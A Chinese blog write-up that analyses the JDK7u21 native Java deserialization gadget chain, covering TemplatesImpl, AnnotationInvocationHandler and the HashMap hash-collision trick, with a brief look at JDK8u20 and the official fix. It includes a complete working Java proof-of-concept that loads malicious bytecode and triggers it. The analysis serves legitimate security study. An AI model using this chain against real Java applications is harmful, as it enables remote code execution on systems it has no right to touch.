[Java反序列化]jdk原生鏈分析

Aur0ra* 發表於 2022-05-18
Java

jdk原生鏈分析

原文連結

作為jdk中目前發現的原生鏈,還是有必要要分析這個用法的。全文僅限盡可能還原挖掘思路

JDK7u21

在很多鏈中,TemplatesImpl一直髮揮著不可或缺的作用,它是位於jdk原始碼中的一段Gadget:getOutputProperties()->newTransformer()->getTransletInstance()->...

templatesImpl利用回顧:

  1. 載入物件需要是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的實現類
  2. 需要設定_name,_bytecodes
  3. _tfactory屬性在高版本需要設定,jdk7u21中不是必須,看jdk版本而言-》defineTransletClasses

其中只要能觸發上述任意一個函式的,都可以完成TemplatesImpl的動態載入位元組碼功能。1.所以我們看jdk中是否有呼叫這三個函式?

還記得sun.reflect.annotation.AnnotationInvocationHandler嘛?這可是java反序列化中的重要角色。而jdk7u21算是對其利用的再挖掘。

為了簡單直接,我把反編譯的程式碼中的var變數替換了自定義變數

//AnnotationInvocationHandler.java
private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] methods = this.getMemberMethods();//獲取this.type的所有方法
        int methods_num = methods.length;

        for(int var4 = 0; var4 < methods_num; ++var4) {
            Method var5 = methods[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);//判斷var1是否是代理類
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);	//呼叫任意方法
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}

到這裡,可以看到this.memberMethods可控,到現在也就是說如果能讓AnnotationInvocationHandler呼叫equalImpl方法,且控制其中的memberMethods,就可以完成任意方法的呼叫了。

2.怎麼觸發equalsImpl?

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        ......
    }
}

關鍵邏輯:如果代理物件呼叫了equals方法,且滿足equals方法有且僅有一個Object型別的引數。

當前exp,成功觸發

//read evil bytecode-2
FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class");

int available = is.available();
byte[] bytes = new byte[available];
is.read(bytes,0,available);

//construct TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();

Class<? extends TemplatesImpl> clazz = templates.getClass();

Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});

Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Aur0ra");

Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap());

//set anno.type
setValue(anno,"type",TemplatesImpl.class);

unsetFinal(anno,"memberMethods");
setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")});

Map map = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno);
map.equals(templates);

3.接下來就是想辦法怎麼觸發equals方法,且引數可控

要求反序列化中會進行equals方法的,直接可以去全域性搜尋,這裡借用codeql的話就很香了。

4.這裡就直接丟出目前鏈子的利用點,直接採用hashMap之類的?為什麼採用這個類呢?

//HashMap.java
public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

map類在反序列化時肯定進行put操作,這時,我們直接看put方法。其中會有equals操作,前提是key的hash相等,但key不等,相當於就是做hash碰撞》》》也就是讓proxy的hash與Templates的hash相等

yso中巧妙的構造hash-->參照<java 安全漫談>

final int hash(Object k) {
 int h = 0;
 if (useAltHashing) {
     if (k instanceof String) {
         return sun.misc.Hashing.stringHash32((String) k);
     }
     h = hashSeed;
 }

 h ^= k.hashCode();

 // This function ensures that hashCodes that differ only by
 // constant multiples at each bit position have a bounded
 // number of collisions (approximately 8 at default load factor).
 h ^= (h >>> 20) ^ (h >>> 12);
 return h ^ (h >>> 7) ^ (h >>> 4);
}

可以看到,hash就是直接呼叫了物件的hashCode方法生成的。

但物件templates的hashcode是一個native方法,每次計算都會變動。所以現在只能看Proxy的hash計算了,需要讓proxy的hash動態等於tempaltesimpl的hash

private int hashCodeImpl() {
 int var1 = 0;

 Entry var3;
 for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
     var3 = (Entry)var2.next();
 }

 return var1;
}

它的計算方式就是累加 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

關鍵點:由於0異或任何等於任何數,此時如果讓key的hash等於0,而value等於templatesImpl,那最後不就一直相等了嘛

for (long i = 0; i < 99999999L; i++) {
 if (Long.toHexString(i).hashCode() == 0) {
     System.out.println(Long.toHexString(i));
 }
}

得到了一個f5a5a608,使得((String)var3.getKey()).hashCode()==0,所以我們只需要將AnnotationHandler中的Map新增一組map.put("f5a5a608", templates);即可。

5.利用邏輯梳理

hashMap#put->hashcode相等,所以直接呼叫AnnotationInvocationHandler#equalsImpl->再就是上面分析的利用

image

6.附上分析結果(有些贅餘,此處略優化

package sec.aur0ra;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Gadget {
    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        //read evil bytecode-1
        //InputStream is = Aur0ra.class.getResourceAsStream("Aur0ra.class");

        //read evil bytecode-2
        FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class");
        
        int available = is.available();
        byte[] bytes = new byte[available];
        is.read(bytes,0,available);

        //construct TemplatesImpl
        TemplatesImpl templates = new TemplatesImpl();

        Class<? extends TemplatesImpl> clazz = templates.getClass();

        Field bytecodes = clazz.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,new byte[][]{bytes});

        Field name = clazz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"Aur0ra");

        Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap());

        //set anno.type
        setValue(anno,"type",TemplatesImpl.class);

        unsetFinal(anno,"memberMethods");
        setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")});

        Map proxy = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno);

        HashMap map = new HashMap();
        map.put("f5a5a608", templates);

        unsetFinal(anno,"memberValues");
        setValue(anno,"memberValues",map);
        
        HashMap hashMap = new HashMap();
        hashMap.put(templates,templates);
        hashMap.put(proxy,123);

    }

    public static void setValue(Object obj,String filed,Object value){
        try {
            Field declaredField = obj.getClass().getDeclaredField(filed);

            declaredField.setAccessible(true);

            declaredField.set(obj,value);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }

    public static void unsetFinal(Object obj,String field) throws NoSuchFieldException, IllegalAccessException {
        Class<?> aClass = obj.getClass();
        Field declaredField = aClass.getDeclaredField(field);

        Field modifiers = declaredField.getClass().getDeclaredField("modifiers");
        modifiers.setAccessible(true);
        modifiers.set(declaredField,declaredField.getModifiers()&~Modifier.TRANSIENT);
    }
}

疑點重重

  1. 為什麼採用TemplatesImpl#newTransformer,而不直接採用getTransletInstance?

    你試試就知道了。是因為最後呼叫時,getTransletInstance是private方法,無法被觸發,所以採用了newTransformer,當然採用getOutputProperties也是可以的。

  2. 為什麼很多地方給的不是hashmap而是LinkedHashSet等?

    採用LinkedHashSet是因為它重新進行put時,會按照既定的順序,會直接影響利用結果。這裡的話,似乎影響不大,但也有可能出現錯誤。

  3. type需要使用Templates.class,而不是TemplatesImpl.class

修復與分析

  1. 為什麼jdk7u21前的版本中,不是Annotation類照樣可以成功執行exp呢?

    image

    可以看到,這裡type已成功賦值為目標Class物件,所以下面return的時候,不影響序列化的結果。

    這裡留個疑問:為什麼明顯目標需要是private final Class<? extends Annotation> type;,而這裡放了一個TemplatesImpl在裡面,這不是不合乎語法嘛?

  2. 官方修復操作

    image

​ 如果不一致,就直接丟擲異常,從而結束執行。

如果丟擲異常被try-catch處理後,特殊情況下是不是會存在被利用的可能性呢?

擴充分析

  1. jdk的很多版本都是並行開發的,那是不是說有可能這個jdk7u21在其他版本的jdk中也存在呢?

​ 通過對比開發時間,jdk8出來時(2017年),這個已經被修復了,所以以上就不存在利用了。那是不是jdk<jdk7都存在這個洞呢?也不是,因為是並行開發的,jdk6或者其他版本也是在更新迭代,所以也只有部分jdk6或者其他版本收到影響。

JDK8u20

好像和上面留的思路一致,就是利用try-catch機制,處理異常,並繼續執行put操作。

關鍵點:beancontextsupport

這裡就先不做分析了,更多的是涉及序列化處理的操作。再另一篇文章分析。

參考

java 安全漫談

jdk8u20反序列化分析